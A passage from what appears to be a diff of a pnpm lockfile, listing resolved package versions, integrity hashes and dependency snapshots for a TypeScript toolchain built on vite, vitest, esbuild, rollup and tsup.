sha512-5BqxR/pshjey51iliyzTD5Xi3EN0aLmQ2lZ3lvefVV9c82BvrLo2/6OT55iifpWBufs6kdwWbuOKS841DrmK9A==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-linux-x64-musl@4.62.2': + resolution: {integrity: sha512-uNN83XxQrRAh/w0/pmAfibcwyb6YWt4gP+dpnQKPVJshAloQ785ii8CT8ZCIxkGg9opVsvAlGhFitSm6D1Jjpg==} + cpu: [x64] + os: [linux] + + '@rollup/rollup-openbsd-x64@4.62.2': + resolution: {integrity: sha512-srjEIxSH3LRnJN6THczDHWQplqEMFiAJrTab0msUryh9kwNpkICf3Ea6q6MN/2cZwRFUNx5w+h6Hpi4QuHS6Zg==} + cpu: [x64] + os: [openbsd] + + '@rollup/rollup-openharmony-arm64@4.62.2': + resolution: {integrity: sha512-8hOJnxgbyObnCm5AlRA3A931xX19xq80RjVTKgJOvEKWqJruP/Uf12IbAOaDjjEXYRewwHLfmF0YRIdK3OwKWA==} + cpu: [arm64] + os: [openharmony] + + '@rollup/rollup-win32-arm64-msvc@4.62.2': + resolution: {integrity: sha512-mmF4AY1i0hG/bLWUctUq59gtmgaSIRa3cu/A3JFRp/sCNEme2bgDEiDS22P9FbnJB8NJNF4jPJiSP5RHQpUTDg==} + cpu: [arm64] + os: [win32] + + '@rollup/rollup-win32-ia32-msvc@4.62.2': + resolution: {integrity: sha512-DZgkknc6jhHrk46V25vbAM0zZkyP0nSDkJB8/dRkLTxv470dOmWDqGoEJl/9A0dFfS7yE3REOwNDxpHwSLSt0Q==} + cpu: [ia32] + os: [win32] + + '@rollup/rollup-win32-x64-gnu@4.62.2': + resolution: {integrity: sha512-T6xr6ucWSFto+VGajA8YH26LdpHRuP4YLHEKAtCWvJDOlnmWcDZVCI2Jmjr+IFHDlt2zRaTAKE4tfjTaWLgJBg==} + cpu: [x64] + os: [win32] + + '@rollup/rollup-win32-x64-msvc@4.62.2': + resolution: {integrity: sha512-BfzEnDJOt9T8M989/lA37EcJgat01wLRnoi5dQf3QzOH7jzpqTAzdDbVfRljVr5r+jzKqpbHeyOfAaXxAd0PAA==} + cpu: [x64] + os: [win32] + + '@types/chai@5.2.3': + resolution: {integrity: sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==} + + '@types/deep-eql@4.0.2': + resolution: {integrity: sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==} + + '@types/estree@1.0.9': + resolution: {integrity: sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==} + + '@types/node@22.20.1': + resolution: {integrity: sha512-EANqOCF9QFyra+4pfxUcX9STKJpCLjMbObVzljIJomAWSnuSIEAvyzEU53GaajbXJEgdh0iEcPL+DGvpUd4k1Q==} + + '@vitest/expect@3.2.7': + resolution: {integrity: sha512-E8eBXaKibuvH2pSZErOjdVb5vF4PbKYcrnluBTYxEk1l/VhhwZg1kZQsdtjq+CsF5CFydf2Rdkz7jDHKSisi3w==} + + '@vitest/mocker@3.2.7': + resolution: {integrity: sha512-Trr0hYO9CM3Wj6ksWHRhK9IZpIY6wTMO5u/MqXurMxT57sWBaOPEtP3Oq60ihZuh5JsiagKfz95OcxdEP6dBrA==} + peerDependencies: + msw: ^2.4.9 + vite: ^5.0.0 || ^6.0.0 || ^7.0.0-0 + peerDependenciesMeta: + msw: + optional: true + vite: + optional: true + + '@vitest/pretty-format@3.2.7': + resolution: {integrity: sha512-KUHlwqVu0sRlhCdyPdQ/wBoTfRahjUky1MubOmYw9fWfIZy1gNoHpuaaQBPAaMaVYdQYHJLurzj8ECCj5OwTqA==} + + '@vitest/runner@3.2.7': + resolution: {integrity: sha512-sB9y4ovltoQP+WaUPwmSxO9WIg9Ig694Di5PalVPsYHklAdE027mehpWF2SQSVq+k6sFgaivbTjTJwZLSHbedA==} + + '@vitest/snapshot@3.2.7': + resolution: {integrity: sha512-7C+MwShwtBSI5Buwoyg3s/iY1eHL9PKAf+O1wVh/TdnjXUtkoL/9YQtre90i4MtNXM6edP1wJ2zOBpfCyhIS7g==} + + '@vitest/spy@3.2.7': + resolution: {integrity: sha512-Q2eQGI6d2L/hBtZ0qNuKcAGid68XK6cv1xsoaIma6PaJhHPoqcEJhYpXZ/5myCMqkNgtP6UKuBhbc0nHKnrkuQ==} + + '@vitest/utils@3.2.7': + resolution: {integrity: sha512-x6BDOd7dyo3PFLY3I9/HJ25X/6OurhGXk2/B9gOZNPF7XDVjeBK4k01lQE5uvDpbuheErh91qYuE1E2OEjK3Rw==} + + acorn@8.17.0: + resolution: {integrity: sha512-xRQbDb9BnwDafYNn6Vwl839DYVjqXYb1XVGtWAZ1kcDc6iwAL4hg3B1dZlRiuENFeO2H53gFG3in621AdERVAg==} + engines: {node: '>=0.4.0'} + hasBin: true + + any-promise@1.3.0: + resolution: {integrity: sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==} + + assertion-error@2.0.1: + resolution: {integrity: sha512-Izi8RQcffqCeNVgFigKli1ssklIbpHnCYc6AknXGYoB6grJqyeby7jv12JUQgmTAnIDnbck1uxksT4dzN3PWBA==} + engines: {node: '>=12'} + + bundle-require@5.1.0: + resolution: {integrity: sha512-3WrrOuZiyaaZPWiEt4G3+IffISVC9HYlWueJEBWED4ZH4aIAC2PnkdnuRrR94M+w6yGWn4AglWtJtBI8YqvgoA==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + peerDependencies: + esbuild: '>=0.18' + + cac@6.7.14: + resolution: {integrity: sha512-b6Ilus+c3RrdDk+JhLKUAQfzzgLEPy6wcXqS7f/xe1EETvsDP6GORG7SFuOs6cID5YkqchW/LXZbX5bc8j7ZcQ==} + engines: {node: '>=8'} + + chai@5.3.3: + resolution: {integrity: sha512-4zNhdJD/iOjSH0A05ea+Ke6MU5mmpQcbQsSOkgdaUMJ9zTlDTD/GYlwohmIE2u0gaxHYiVHEn1Fw9mZ/ktJWgw==} + engines: {node: '>=18'} + + check-error@2.1.3: + resolution: {integrity: sha512-PAJdDJusoxnwm1VwW07VWwUN1sl7smmC3OKggvndJFadxxDRyFJBX/ggnu/KE4kQAB7a3Dp8f/YXC1FlUprWmA==} + engines: {node: '>= 16'} + + chokidar@4.0.3: + resolution: {integrity: sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==} + engines: {node: '>= 14.16.0'} + + commander@4.1.1: + resolution: {integrity: sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==} + engines: {node: '>= 6'} + + confbox@0.1.8: + resolution: {integrity: sha512-RMtmw0iFkeR4YV+fUOSucriAQNb9g8zFR52MWCtl+cCZOFRNL6zeB395vPzFhEjjn4fMxXudmELnl/KF/WrK6w==} + + consola@3.4.2: + resolution: {integrity: sha512-5IKcdX0nnYavi6G7TtOhwkYzyjfJlatbjMjuLSfE2kYT5pMDOilZ4OvMhi637CcDICTmz3wARPoyhqyX1Y+XvA==} + engines: {node: ^14.18.0 || >=16.10.0} + + debug@4.4.3: + resolution: {integrity: sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==} + engines: {node: '>=6.0'} + peerDependencies: + supports-color: '*' + peerDependenciesMeta: + supports-color: + optional: true + + deep-eql@5.0.2: + resolution: {integrity: sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q==} + engines: {node: '>=6'} + + es-module-lexer@1.7.0: + resolution: {integrity: sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==} + + esbuild@0.27.7: + resolution: {integrity: sha512-IxpibTjyVnmrIQo5aqNpCgoACA/dTKLTlhMHihVHhdkxKyPO1uBBthumT0rdHmcsk9uMonIWS0m4FljWzILh3w==} + engines: {node: '>=18'} + hasBin: true + + esbuild@0.28.1: + resolution: {integrity: sha512-HrJrvZv5ayxBzPfwphOoNzkzOIIlifzk0KJrGK2c8R4+LKpMtpYLQeUdjnwjWv/LZlkH2laZk+4w78pi99D4Vw==} + engines: {node: '>=18'} + hasBin: true + + estree-walker@3.0.3: + resolution: {integrity: sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==} + + expect-type@1.4.0: + resolution: {integrity: sha512-KfYbmpRm0VbLjEvVa9yGwCi9GI34xvi7A/HXYWQO65CSD2u3MczUJSuwXKFIxlGsgBQizV9q5J9NHj4VG0n+pA==} + engines: {node: '>=12.0.0'} + + fdir@6.5.0: + resolution: {integrity: sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==} + engines: {node: '>=12.0.0'} + peerDependencies: + picomatch: ^3 || ^4 + peerDependenciesMeta: + picomatch: + optional: true + + fix-dts-default-cjs-exports@1.0.1: + resolution: {integrity: sha512-pVIECanWFC61Hzl2+oOCtoJ3F17kglZC/6N94eRWycFgBH35hHx0Li604ZIzhseh97mf2p0cv7vVrOZGoqhlEg==} + + fsevents@2.3.3: + resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} + engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} + os: [darwin] + + joycon@3.1.1: + resolution: {integrity: sha512-34wB/Y7MW7bzjKRjUKTa46I2Z7eV62Rkhva+KkopW7Qvv/OSWBqvkSY7vusOPrNuZcUG3tApvdVgNB8POj3SPw==} + engines: {node: '>=10'} + + js-tokens@9.0.1: + resolution: {integrity: sha512-mxa9E9ITFOt0ban3j6L5MpjwegGz6lBQmM1IJkWeBZGcMxto50+eWdjC/52xDbS2vy0k7vIMK0Fe2wfL9OQSpQ==} + + lilconfig@3.1.3: + resolution: {integrity: sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==} + engines: {node: '>=14'} + + lines-and-columns@1.2.4: + resolution: {integrity: sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==} + + load-tsconfig@0.2.5: + resolution: {integrity: sha512-IXO6OCs9yg8tMKzfPZ1YmheJbZCiEsnBdcB03l0OcfK9prKnJb96siuHCr5Fl37/yo9DnKU+TLpxzTUspw9shg==} + engines: {node: ^12.20.0 || ^14.13.1 || >=16.0.0} + + loupe@3.2.1: + resolution: {integrity: sha512-CdzqowRJCeLU72bHvWqwRBBlLcMEtIvGrlvef74kMnV2AolS9Y8xUv1I0U/MNAWMhBlKIoyuEgoJ0t/bbwHbLQ==} + + magic-string@0.30.21: + resolution: {integrity: sha512-vd2F4YUyEXKGcLHoq+TEyCjxueSeHnFxyyjNp80yg0XV4vUhnDer/lvvlqM/arB5bXQN5K2/3oinyCRyx8T2CQ==} + + mlly@1.8.2: + resolution: {integrity: sha512-d+ObxMQFmbt10sretNDytwt85VrbkhhUA/JBGm1MPaWJ65Cl4wOgLaB1NYvJSZ0Ef03MMEU/0xpPMXUIQ29UfA==} + + ms@2.1.3: + resolution: {integrity: sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==} + + mz@2.7.0: + resolution: {integrity: sha512-z81GNO7nnYMEhrGh9LeymoE4+Yr0Wn5McHIZMK5cfQCl+NDX08sCZgUc9/6MHni9IWuFLm1Z3HTCXu2z9fN62Q==} + + nanoid@3.3.15: + resolution: {integrity: sha512-y7Wygv/7mEOvxTuEQDB8StXdMRBWf1kR/tlhAzBRUFkB2jfcLOAxO/SHmOO2zgz1pVgK29/kyupn059/bCHdjA==} + engines: {node: ^10 || ^12 || ^13.7 || ^14 || >=15.0.1} + hasBin: true + + object-assign@4.1.1: + resolution: {integrity: sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==} + engines: {node: '>=0.10.0'} + + pathe@2.0.3: + resolution: {integrity: sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==} + + pathval@2.0.1: + resolution: {integrity: sha512-//nshmD55c46FuFw26xV/xFAaB5HF9Xdap7HJBBnrKdAd6/GxDBaNA1870O79+9ueg61cZLSVc+OaFlfmObYVQ==} + engines: {node: '>= 14.16'} + + picocolors@1.1.1: + resolution: {integrity: sha512-xceH2snhtb5M9liqDsmEw56le376mTZkEX/jEb/RxNFyegNul7eNslCXP9FDj/Lcu0X8KEyMceP2ntpaHrDEVA==} + + picomatch@4.0.5: + resolution: {integrity: sha512-RvwwcruNjI1ncT5xRakeyS9Lf8lcItv34KD+aif+VH9kduAyfYBipGh12274xtenIPZ119/R9BdTBa8gAwSh0A==} + engines: {node: '>=12'} + + pirates@4.0.7: + resolution: {integrity: sha512-TfySrs/5nm8fQJDcBDuUng3VOUKsd7S+zqvbOTiGXHfxX4wK31ard+hoNuvkicM/2YFzlpDgABOevKSsB4G/FA==} + engines: {node: '>= 6'} + + pkg-types@1.3.1: + resolution: {integrity: sha512-/Jm5M4RvtBFVkKWRu2BLUTNP8/M2a+UwuAX+ae4770q1qVGtfjG+WTCupoZixokjmHiry8uI+dlY8KXYV5HVVQ==} + + postcss-load-config@6.0.1: + resolution: {integrity: sha512-oPtTM4oerL+UXmx+93ytZVN82RrlY/wPUV8IeDxFrzIjXOLF1pN+EmKPLbubvKHT2HC20xXsCAH2Z+CKV6Oz/g==} + engines: {node: '>= 18'} + peerDependencies: + jiti: '>=1.21.0' + postcss: '>=8.0.9' + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + jiti: + optional: true + postcss: + optional: true + tsx: + optional: true + yaml: + optional: true + + postcss@8.5.16: + resolution: {integrity: sha512-vuwillviilfKZsg0VGj5R/YwwcHx4SLsIOI/7K6mQkWx+l5cUHTjj5g0AasTBcyXsbfTgrwsUNmVUb5xVwyPwg==} + engines: {node: ^10 || ^12 || >=14} + + readdirp@4.1.2: + resolution: {integrity: sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==} + engines: {node: '>= 14.18.0'} + + resolve-from@5.0.0: + resolution: {integrity: sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==} + engines: {node: '>=8'} + + rollup@4.62.2: + resolution: {integrity: sha512-RFnrW4lhXA3s3eqHDZvN654g8OTjzRfqpIRJYczCGB6HzphckVAi/Qh4tbPUbRuDi7s1Llv8g/NspLkttY3gTA==} + engines: {node: '>=18.0.0', npm: '>=8.0.0'} + hasBin: true + + siginfo@2.0.0: + resolution: {integrity: sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==} + + source-map-js@1.2.1: + resolution: {integrity: sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==} + engines: {node: '>=0.10.0'} + + source-map@0.7.6: + resolution: {integrity: sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==} + engines: {node: '>= 12'} + + stackback@0.0.2: + resolution: {integrity: sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==} + + std-env@3.10.0: + resolution: {integrity: sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==} + + strip-literal@3.1.0: + resolution: {integrity: sha512-8r3mkIM/2+PpjHoOtiAW8Rg3jJLHaV7xPwG+YRGrv6FP0wwk/toTpATxWYOW0BKdWwl82VT2tFYi5DlROa0Mxg==} + + sucrase@3.35.1: + resolution: {integrity: sha512-DhuTmvZWux4H1UOnWMB3sk0sbaCVOoQZjv8u1rDoTV0HTdGem9hkAZtl4JZy8P2z4Bg0nT+YMeOFyVr4zcG5Tw==} + engines: {node: '>=16 || 14 >=14.17'} + hasBin: true + + thenify-all@1.6.0: + resolution: {integrity: sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==} + engines: {node: '>=0.8'} + + thenify@3.3.1: + resolution: {integrity: sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==} + + tinybench@2.9.0: + resolution: {integrity: sha512-0+DUvqWMValLmha6lr4kD8iAMK1HzV0/aKnCtWb9v9641TnP/MFb7Pc2bxoxQjTXAErryXVgUOfv2YqNllqGeg==} + + tinyexec@0.3.2: + resolution: {integrity: sha512-KQQR9yN7R5+OSwaK0XQoj22pwHoTlgYqmUscPYoknOoWCWfj/5/ABTMRi69FrKU5ffPVh5QcFikpWJI/P1ocHA==} + + tinyglobby@0.2.17: + resolution: {integrity: sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==} + engines: {node: '>=12.0.0'} + + tinypool@1.1.1: + resolution: {integrity: sha512-Zba82s87IFq9A9XmjiX5uZA/ARWDrB03OHlq+Vw1fSdt0I+4/Kutwy8BP4Y/y/aORMo61FQ0vIb5j44vSo5Pkg==} + engines: {node: ^18.0.0 || >=20.0.0} + + tinyrainbow@2.0.0: + resolution: {integrity: sha512-op4nsTR47R6p0vMUUoYl/a+ljLFVtlfaXkLQmqfLR1qHma1h/ysYk4hEXZ880bf2CYgTskvTa/e196Vd5dDQXw==} + engines: {node: '>=14.0.0'} + + tinyspy@4.0.4: + resolution: {integrity: sha512-azl+t0z7pw/z958Gy9svOTuzqIk6xq+NSheJzn5MMWtWTFywIacg2wUlzKFGtt3cthx0r2SxMK0yzJOR0IES7Q==} + engines: {node: '>=14.0.0'} + + tree-kill@1.2.2: + resolution: {integrity: sha512-L0Orpi8qGpRG//Nd+H90vFB+3iHnue1zSSGmNOOCh1GLJ7rUKVwV2HvijphGQS2UmhUZewS9VgvxYIdgr+fG1A==} + hasBin: true + + ts-interface-checker@0.1.13: + resolution: {integrity: sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==} + + tsup@8.5.1: + resolution: {integrity: sha512-xtgkqwdhpKWr3tKPmCkvYmS9xnQK3m3XgxZHwSUjvfTjp7YfXe5tT3GgWi0F2N+ZSMsOeWeZFh7ZZFg5iPhing==} + engines: {node: '>=18'} + hasBin: true + peerDependencies: + '@microsoft/api-extractor': ^7.36.0 + '@swc/core': ^1 + postcss: ^8.4.12 + typescript: '>=4.5.0' + peerDependenciesMeta: + '@microsoft/api-extractor': + optional: true + '@swc/core': + optional: true + postcss: + optional: true + typescript: + optional: true + + typescript@5.9.3: + resolution: {integrity: sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==} + engines: {node: '>=14.17'} + hasBin: true + + ufo@1.6.4: + resolution: {integrity: sha512-JFNbkD1Svwe0KvGi8GOeLcP4kAWQ609twvCdcHxq1oSL8svv39ZuSvajcD8B+5D0eL4+s1Is2D/O6KN3qcTeRA==} + + undici-types@6.21.0: + resolution: {integrity: sha512-iwDZqg0QAGrg9Rav5H4n0M64c3mkR59cJ6wQp+7C4nI0gsmExaedaYLNO44eT4AtBBwjbTiGPMlt2Md0T9H9JQ==} + + vite-node@3.2.4: + resolution: {integrity: sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + hasBin: true + + vite@7.3.6: + resolution: {integrity: sha512-4XP60spRGjSZFf1qYH+dJIkK2znL3zQfl9KkOV9MkkRR/3Dls0dxaBsQPTloEc5BLXWPL9vsOxopxyKoMmDueg==} + engines: {node: ^20.19.0 || >=22.12.0} + hasBin: true + peerDependencies: + '@types/node': ^20.19.0 || >=22.12.0 + jiti: '>=1.21.0' + less: ^4.0.0 + lightningcss: ^1.21.0 + sass: ^1.70.0 + sass-embedded: ^1.70.0 + stylus: '>=0.54.8' + sugarss: ^5.0.0 + terser: ^5.16.0 + tsx: ^4.8.1 + yaml: ^2.4.2 + peerDependenciesMeta: + '@types/node': + optional: true + jiti: + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + sass-embedded: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + tsx: + optional: true + yaml: + optional: true + + vitest@3.2.7: + resolution: {integrity: sha512-KrxIJ62Fd89gfysR4WotlgZABiz2dqFPgqGzX7s+CwsqLFomRH7777ZcrOD6+WVAh7khPQP41A+BKbpcJFrdEg==} + engines: {node: ^18.0.0 || ^20.0.0 || >=22.0.0} + hasBin: true + peerDependencies: + '@edge-runtime/vm': '*' + '@types/debug': ^4.1.12 + '@types/node': ^18.0.0 || ^20.0.0 || >=22.0.0 + '@vitest/browser': 3.2.7 + '@vitest/ui': 3.2.7 + happy-dom: '*' + jsdom: '*' + peerDependenciesMeta: + '@edge-runtime/vm': + optional: true + '@types/debug': + optional: true + '@types/node': + optional: true + '@vitest/browser': + optional: true + '@vitest/ui': + optional: true + happy-dom: + optional: true + jsdom: + optional: true + + why-is-node-running@2.3.0: + resolution: {integrity: sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==} + engines: {node: '>=8'} + hasBin: true + + yaml@2.9.0: + resolution: {integrity: sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==} + engines: {node: '>= 14.6'} + hasBin: true + + zod@3.25.76: + resolution: {integrity: sha512-gzUt/qt81nXsFGKIFcC3YnfEAx5NkunCfnDlvuBSSFS02bcXu4Lmea0AFIUwbLWxWPx3d9p8S5QoaujKcNQxcQ==} + +snapshots: + + '@esbuild/aix-ppc64@0.27.7': + optional: true + + '@esbuild/aix-ppc64@0.28.1': + optional: true + + '@esbuild/android-arm64@0.27.7': + optional: true + + '@esbuild/android-arm64@0.28.1': + optional: true + + '@esbuild/android-arm@0.27.7': + optional: true + + '@esbuild/android-arm@0.28.1': + optional: true + + '@esbuild/android-x64@0.27.7': + optional: true + + '@esbuild/android-x64@0.28.1': + optional: true + + '@esbuild/darwin-arm64@0.27.7': + optional: true + + '@esbuild/darwin-arm64@0.28.1': + optional: true + + '@esbuild/darwin-x64@0.27.7': + optional: true + + '@esbuild/darwin-x64@0.28.1': + optional: true + + '@esbuild/freebsd-arm64@0.27.7': + optional: true + + '@esbuild/freebsd-arm64@0.28.1': + optional: true + + '@esbuild/freebsd-x64@0.27.7': + optional: true + + '@esbuild/freebsd-x64@0.28.1': + optional: true + + '@esbuild/linux-arm64@0.27.7': + optional: true + + '@esbuild/linux-arm64@0.28.1': + optional: true + + '@esbuild/linux-arm@0.27.7': + optional: true + + '@esbuild/linux-arm@0.28.1': + optional: true + + '@esbuild/linux-ia32@0.27.7': + optional: true + + '@esbuild/linux-ia32@0.28.1': + optional: true + + '@esbuild/linux-loong64@0.27.7': + optional: true + + '@esbuild/linux-loong64@0.28.1': + optional: true + + '@esbuild/linux-mips64el@0.27.7': + optional: true + + '@esbuild/linux-mips64el@0.28.1': + optional: true + + '@esbuild/linux-ppc64@0.27.7': + optional: true + + '@esbuild/linux-ppc64@0.28.1': + optional: true + + '@esbuild/linux-riscv64@0.27.7': + optional: true + + '@esbuild/linux-riscv64@0.28.1': + optional: true + + '@esbuild/linux-s390x@0.27.7': + optional: true + + '@esbuild/linux-s390x@0.28.1': + optional: true + + '@esbuild/linux-x64@0.27.7': + optional: true + + '@esbuild/linux-x64@0.28.1': + optional: true + + '@esbuild/netbsd-arm64@0.27.7': + optional: true + + '@esbuild/netbsd-arm64@0.28.1': + optional: true + + '@esbuild/netbsd-x64@0.27.7': + optional: true + + '@esbuild/netbsd-x64@0.28.1': + optional: true + + '@esbuild/openbsd-arm64@0.27.7': + optional: true + + '@esbuild/openbsd-arm64@0.28.1': + optional: true + + '@esbuild/openbsd-x64@0.27.7': + optional: true + + '@esbuild/openbsd-x64@0.28.1': + optional: true + + '@esbuild/openharmony-arm64@0.27.7': + optional: true + + '@esbuild/openharmony-arm64@0.28.1': + optional: true + + '@esbuild/sunos-x64@0.27.7': + optional: true + + '@esbuild/sunos-x64@0.28.1': + optional: true + + '@esbuild/win32-arm64@0.27.7': + optional: true + + '@esbuild/win32-arm64@0.28.1': + optional: true + + '@esbuild/win32-ia32@0.27.7': + optional: true + + '@esbuild/win32-ia32@0.28.1': + optional: true + + '@esbuild/win32-x64@0.27.7': + optional: true + + '@esbuild/win32-x64@0.28.1': + optional: true + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@rollup/rollup-android-arm-eabi@4.62.2': + optional: true + + '@rollup/rollup-android-arm64@4.62.2': + optional: true + + '@rollup/rollup-darwin-arm64@4.62.2': + optional: true + + '@rollup/rollup-darwin-x64@4.62.2': + optional: true + + '@rollup/rollup-freebsd-arm64@4.62.2': + optional: true + + '@rollup/rollup-freebsd-x64@4.62.2': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.62.2': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.62.2': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.62.2': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.62.2': + optional: true + + '@rollup/rollup-linux-loong64-gnu@4.62.2': + optional: true + + '@rollup/rollup-linux-loong64-musl@4.62.2': + optional: true + + '@rollup/rollup-linux-ppc64-gnu@4.62.2': + optional: true + + '@rollup/rollup-linux-ppc64-musl@4.62.2': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.62.2': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.62.2': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.62.2': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.62.2': + optional: true + + '@rollup/rollup-linux-x64-musl@4.62.2': + optional: true + + '@rollup/rollup-openbsd-x64@4.62.2': + optional: true + + '@rollup/rollup-openharmony-arm64@4.62.2': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.62.2': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.62.2': + optional: true + + '@rollup/rollup-win32-x64-gnu@4.62.2': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.62.2': + optional: true + + '@types/chai@5.2.3': + dependencies: + '@types/deep-eql': 4.0.2 + assertion-error: 2.0.1 + + '@types/deep-eql@4.0.2': {} + + '@types/estree@1.0.9': {} + + '@types/node@22.20.1': + dependencies: + undici-types: 6.21.0 + + '@vitest/expect@3.2.7': + dependencies: + '@types/chai': 5.2.3 + '@vitest/spy': 3.2.7 + '@vitest/utils': 3.2.7 + chai: 5.3.3 + tinyrainbow: 2.0.0 + + '@vitest/mocker@3.2.7(vite@7.3.6(@types/node@22.20.1)(yaml@2.9.0))': + dependencies: + '@vitest/spy': 3.2.7 + estree-walker: 3.0.3 + magic-string: 0.30.21 + optionalDependencies: + vite: 7.3.6(@types/node@22.20.1)(yaml@2.9.0) + + '@vitest/pretty-format@3.2.7': + dependencies: + tinyrainbow: 2.0.0 + + '@vitest/runner@3.2.7': + dependencies: + 